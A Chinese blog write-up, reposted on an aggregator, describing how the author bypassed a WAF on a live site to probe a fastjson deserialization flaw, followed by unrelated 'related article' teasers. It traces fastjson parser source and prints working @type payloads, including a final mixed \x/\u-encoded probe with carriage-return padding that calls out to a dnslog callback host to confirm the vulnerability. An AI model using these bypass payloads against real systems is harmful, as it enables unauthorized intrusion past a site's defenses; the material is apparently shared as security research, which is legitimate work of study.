记一次实战中对fastjson waf的绕过

最近遇到一个fastjson的站,很明显是有fastjson漏洞的,因为@type这种字符,fastjson特征很明显的字符都被过滤了

于是开始了绕过之旅,顺便来学习一下如何waf

编码绕过

去网上搜索还是有绕过waf的文章,下面来分析一手,当时第一反应就是unicode编码去绕过

首先简单的测试一下

parseObject:221, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1318, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1284, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:143, JSON (com.alibaba.fastjson)
main:8, Test

到如下代码

if (ch == '"') {key = lexer.scanSymbol(this.symbolTable, '"');lexer.skipWhitespace();ch = lexer.getCurrent();if (ch != ':') {throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);}
}

进入scanSymbol方法

方法就是对我们的key进行处理

switch (chLocal) {case '"':hash = 31 * hash + 34;this.putChar('"');break;case '#':case '$':case '%':case '&':case '(':case ')':case '*':case '+':case ',':case '-':case '.':case '8':case '9':case ':':case ';':case '<':case '=':case '>':case '?':case '@':case 'A':case 'B':case 'C':case 'D':case 'E':case 'G':case 'H':case 'I':case 'J':case 'K':case 'L':case 'M':case 'N':case 'O':case 'P':case 'Q':case 'R':case 'S':case 'T':case 'U':case 'V':case 'W':case 'X':case 'Y':case 'Z':case '[':case ']':case '^':case '_':case '`':case 'a':case 'c':case 'd':case 'e':case 'g':case 'h':case 'i':case 'j':case 'k':case 'l':case 'm':case 'o':case 'p':case 'q':case 's':case 'w':default:this.ch = chLocal;throw new JSONException("unclosed.str.lit");case '\'':hash = 31 * hash + 39;this.putChar('\'');break;case '/':hash = 31 * hash + 47;this.putChar('/');break;case '0':hash = 31 * hash + chLocal;this.putChar('\u0000');break;case '1':hash = 31 * hash + chLocal;this.putChar('\u0001');break;case '2':hash = 31 * hash + chLocal;this.putChar('\u0002');break;case '3':hash = 31 * hash + chLocal;this.putChar('\u0003');break;case '4':hash = 31 * hash + chLocal;this.putChar('\u0004');break;case '5':hash = 31 * hash + chLocal;this.putChar('\u0005');break;case '6':hash = 31 * hash + chLocal;this.putChar('\u0006');break;case '7':hash = 31 * hash + chLocal;this.putChar('\u0007');break;case 'F':case 'f':hash = 31 * hash + 12;this.putChar('\f');break;case '\\':hash = 31 * hash + 92;this.putChar('\\');break;case 'b':hash = 31 * hash + 8;this.putChar('\b');break;case 'n':hash = 31 * hash + 10;this.putChar('\n');break;case 'r':hash = 31 * hash + 13;this.putChar('\r');break;case 't':hash = 31 * hash + 9;this.putChar('\t');break;case 'u':char c1 = this.next();char c2 = this.next();char c3 = this.next();char c4 = this.next();int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);hash = 31 * hash + val;this.putChar((char)val);break;case 'v':hash = 31 * hash + 11;this.putChar('\u000b');break;case 'x':char x1 = this.ch = this.next();x2 = this.ch = this.next();int x_val = digits[x1] * 16 + digits[x2];char x_char = (char)x_val;hash = 31 * hash + x_char;this.putChar(x_char);
}

可以看到有不同的处理,对应的支持unicode和16进制编码

先去试一试

探测一手

"{\"a\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"java.net.Inet4Address\",\"val\":\"cd4d1c41.log.dnslog.sbs.\"}}"

可惜还是被拦截了

尝试了16进制结果还是一样的

特殊反序列化绕过

因为json任然会反序列化我们的对象,那就必然涉及到反序列化字段,构造对象的过程

解析我们的字段的逻辑是在parseField方法

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,Map<String, Object> fieldValues, int[] setFlags) {JSONLexer lexer = parser.lexer; // xxxfinal int disableFieldSmartMatchMask = Feature.DisableFieldSmartMatch.mask;FieldDeserializer fieldDeserializer;if (lexer.isEnabled(disableFieldSmartMatchMask) || (this.beanInfo.parserFeatures & disableFieldSmartMatchMask) != 0) {fieldDeserializer = getFieldDeserializer(key);} else {fieldDeserializer = smartMatch(key, setFlags);}

绕过逻辑是在smartMatch方法

方法如下

public FieldDeserializer smartMatch(String key, int[] setFlags) {if (key == null) {return null;}FieldDeserializer fieldDeserializer = getFieldDeserializer(key, setFlags);if (fieldDeserializer == null) {long smartKeyHash = TypeUtils.fnv1a_64_lower(key);if (this.smartMatchHashArray == null) {long[] hashArray = new long[sortedFieldDeserializers.length];for (int i = 0; i < sortedFieldDeserializers.length; i++) {hashArray[i] = TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name);}Arrays.sort(hashArray);this.smartMatchHashArray = hashArray;}// smartMatchHashArrayMappingint pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);if (pos < 0 && key.startsWith("is")) {smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);}if (pos >= 0) {if (smartMatchHashArrayMapping == null) {short[] mapping = new short[smartMatchHashArray.length];Arrays.fill(mapping, (short) -1);for (int i = 0; i < sortedFieldDeserializers.length; i++) {int p = Arrays.binarySearch(smartMatchHashArray, TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name));if (p >= 0) {mapping[p] = (short) i;}}smartMatchHashArrayMapping = mapping;}int deserIndex = smartMatchHashArrayMapping[pos];if (deserIndex != -1) {if (!isSetFlag(deserIndex, setFlags)) {fieldDeserializer = sortedFieldDeserializers[deserIndex];}}}if (fieldDeserializer != null) {FieldInfo fieldInfo = fieldDeserializer.fieldInfo;if ((fieldInfo.parserFeatures & Feature.DisableFieldSmartMatch.mask) != 0) {return null;}}}return fieldDeserializer;
}

对key处理的逻辑如下

long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
public static long fnv1a_64_lower(String key) {long hashCode = 0xcbf29ce484222325L;for (int i = 0; i < key.length(); ++i) {char ch = key.charAt(i);if (ch == '_' || ch == '-') {continue;}if (ch >= 'A' && ch <= 'Z') {ch = (char) (ch + 32);}hashCode ^= ch;hashCode *= 0x100000001b3L;}return hashCode;
}

可以看到使用_和-的方法已经没有作用了

不过有个好消息是

int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
if (pos < 0 && key.startsWith("is")) {smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
}

可以看到对is进行了一个截取,那我们添加一个is

可惜测试了还是不可以

加特殊字符绕过

这个的具体处理逻辑是在skipComment的方法

而处理逻辑是在

public final void skipWhitespace() {for (;;) {if (ch <= '/') {if (ch == ' ' || ch == '\r' || ch == '\n' || ch == '\t' || ch == '\f' || ch == '\b') {next();continue;} else if (ch == '/') {skipComment();continue;} else {break;}} else {break;}}
}

匹配到这些特殊字符就忽略

测试一下

import com.alibaba.fastjson.JSON;public class Test {public static void main(String[] args) {String aaa = "{\"@type\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}";JSON.parse(aaa);}
}

确实可以,但是环境上去尝试任然被waf了

双重编码

最后是使用双重编码绕过的,因为编码的逻辑是失败到对应的字符就去编码

单独的unicode和16进制都不可以

尝试一下同时呢?

去对@type编码

POC

{\"\\x40\\u0074\\u0079\\u0070\\u0065\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}

最后也是成功了

猜测后端逻辑是把代码分别拿去了unicode和16进制解码,但是直接单独解码会乱码的,而fastjson的逻辑是一个字符一个字符解码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1534538.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

性能测试-断言+自学说明(十二)

一、响应断言 需求;jmeter请求百度&#xff0c;断言响应结果中是否包含“百度一下&#xff0c;你就知道” 1、位置&#xff1a; http请求-断言-响应断言 2、类型 响应文本&#xff1a;断言响应体中包含的字符串 响应代码&#xff1a;断言响应状态码 3、断言步骤&#xf…

全文带你轻松备考OCM

OCM&#xff0c;作为Oracle公司授予的顶级专业认证&#xff0c;是数据库领域从业者梦寐以求的技术巅峰标志。它不仅是对个人技术深度与广度的全面肯定&#xff0c;更是职业道路上的一块重要里程碑。在踏上这段挑战之旅前&#xff0c;深入洞察OCM认证的精髓、考试细节及备考策略…

想要快速准备好性能数据?方法这不就来了!

性能测试的一般流程 收集性能需求——>编写性能脚本——>执行性能测试——>分析测试报告——>系统性能调优。 在收集性能需求后&#xff0c;我们会思考&#xff1a; 1.负载测试时并发时需要多少数据&#xff1f;例&#xff1a;登录&#xff1b; 2.DB数据是否和…

Spring-cloud-gateway报错问题总结

1. 访问接口出现 There was an unexpected error (typeService Unavailable, status503).Unable to find instance for order 假设我们有服务 spring-appication-name: order 但命名路由id 也为order 就会出现这类错误 因为 gateway 有默认路由

喜讯!和鲸科技荣获「2024 爱分析·数据智能优秀厂商」

9 月 13 日&#xff0c;2024 爱分析第六届数据智能高峰论坛圆满举办。会上正式公布了“2024 爱分析数据智能优秀厂商”&#xff0c;和鲸科技凭借在数据智能领域内的卓越成果与创新应用成功入选。 2024爱分析数据智能优秀厂商奖项旨在评选出在数据智能领域&#xff0c;综合实力突…

用Druid连接池,出现系统找不到指定路径的解决方案

运行时抛出异常&#xff08;系统找不到指定路径&#xff09;&#xff1a; 解决方法&#xff1a; 用 . 代替项目名就可以成功运行

Weblogic部署

要安装weblogic&#xff0c;首先要有java环境&#xff0c;因此需要先安装jdk。 这里需要注意&#xff0c;weblogic版本不同&#xff0c;对应的jdk版本也不同&#xff0c;我在这里就踩了很多坑&#xff0c;我这里下载的是fmw_12.2.1.4.0_wls_lite_generic.jar对应的是jdk-8u333…

冯诺依曼体结构与系统

冯诺依曼结构 我们的计算机&#xff0c;以及服务器&#xff0c;还有我我们日常使用的洗衣机都遵循冯诺依曼体结构。 以我们日常使用qq聊天时举例&#xff0c;冯诺依曼体结构可以这样画 截至目前&#xff0c;我们所认识的计算机&#xff0c;都是有一个个的硬件组件组成 输入单元…

SpringBoot Jar 包加密防止反编译实战

今天给大家分享一个 SpringBoot 程序 Jar 包加密的方式&#xff0c;通过代码加密可以实现无法反编译。 应用场景就是当需要把公司的产品部署到友方公司或者其他公司时&#xff0c;可以防止客户直接反编译出来源码&#xff0c;大大提升代码的安全性。 版本 springboot 2.6.8j…

rabbitmq容器化部署

需求 容器化部署rabbitmq服务 部署服务 找到如下官网信息版本 官网版本发布信息 这里看到最新版本是3.13版本&#xff0c;这里在3.13中找一个版本下载容器镜像即可。 找到dockrhub.com中 找到3.13.2版本镜像。 容器服务安装此处省略 现在下载容器镜像需要配置容器代理 ~#…

Java静态代理和动态代理

通过一个小案例整理描述静态代理和动态代理 给大家举个简单例子。在一个公司中&#xff0c;老板处于上层&#xff0c;客户在下层。因每天来访客户众多&#xff0c;老板本应只考虑战略和赚钱&#xff0c;却被一些不重要的客户耽误不少时间。于是老板招聘了一个秘书&#xff0c;专…

大模型进行Query改写时如何提升性能

Query改写方法有子问题拆解、短语提取、回溯检索、虚拟文档等方法。见&#xff1a;https://blog.csdn.net/qq_43814415/article/details/138606669 llama-index的实现见&#xff1a;https://zhaozhiming.github.io/2024/05/13/query-rewrite-rag/ 这里总结实际使用大模型改写时…

Day09-StatefuleSet控制器

Day09-StatefuleSet控制器 0、昨日内容回顾1、StatefulSets控制器1.1 StatefulSet概述1.2 StatefulSets控制器-网络唯一标识之headless1.3 StatefulSets控制器-独享存储 2、metric-server2.1 metric-server概述2.2 部署metric-server:2.3 hpa案例 3、helm概述3.1 安装helm3.2 h…

并行程序设计基础——并行I/O(5)

目录 一、分布式数组文件的存取 1.1 MPI_TYPE_CREATE_DARRAY 1.2 MPI_TYPE_CREATE_SUBARRAY 二、小结 上一节我们对并行I/O中共享文件的存取操作进行了介绍,本节继续介绍MPI-2并行I/O的最后内容:分布式数组文件的存取。 一、分布式数组文件的存取 许多情况下,M…

ModbusTCP/RTU转Ethernet/IP(CIP)-Modbus设备与罗克韦尔AB的PLC之间通讯

IGT-DSER智能网关模块支持西门子、三菱、欧姆龙、罗克韦尔AB等各种品牌的PLC之间通讯&#xff0c;同时也支持PLC与Modbus协议的工业机器人、智能仪表、变频器等设备通讯。网关有多个网口、串口&#xff0c;也可选择WIFI无线通讯。无需PLC内编程开发&#xff0c;只要在IGT-DSER智…

两段有趣的代码(C语言函数指针)

目录 part1part2 两段有趣的代码 part1 (*(void (*)())0)();我们知道函数指针&#xff1a; void (*p)()去掉函数指针变量名就是函数指针的类型&#xff1a; void (*)()那这段代码我们就可以理解为将0强制转换为函数指针类型&#xff0c;再进行解引用;进行调用函数&#xff…

【视频教程】基于PyTorch深度学习无人机遥感影像目标检测、地物分类及语义分割实践技术应用

随着无人机自动化能力的逐步升级&#xff0c;它被广泛的应用于多种领域&#xff0c;如航拍、农业、植保、灾难评估、救援、测绘、电力巡检等。但同时由于无人机飞行高度低、获取目标类型多、以及环境复杂等因素使得对无人机获取的数据处理越来越复杂。最近借助深度学习方法&…

解锁企业潜能,Vatee万腾平台引领智能新纪元

在数字化转型的浪潮中&#xff0c;企业正站在一个前所未有的十字路口&#xff0c;面对着前所未有的机遇与挑战。解锁企业内在潜能&#xff0c;实现跨越式发展&#xff0c;已成为众多企业的共同追求。而Vatee万腾平台&#xff0c;作为智能科技的先锋&#xff0c;正以其强大的智能…

JavaSE篇之内部类和图书系统

1.内部类(类中类) 在Java中&#xff0c;将一个类定义在另一个类内部&#xff0c;前者称为内部类&#xff0c;后者称为外部类。 注意事项&#xff1a; 1. 1.静态内部类&#xff08;被static修饰的内部类&#xff09; 1.在静态内部类的方法中不能直接引用外部类的成员变量&…

为什么自动驾驶技术的实现离不开4G+5G多卡聚合?

如今&#xff0c;汽车制造商和零部件巨头都在研究自动驾驶相关技术。要实现汽车的自动驾驶&#xff0c;不乏相关技术与道路环境的结合和变化。但要实现这一目标&#xff0c;最重要的环节无疑是建设网络。 在4G时代&#xff0c;随着网络带宽和速度的提高&#xff0c;可以实现实…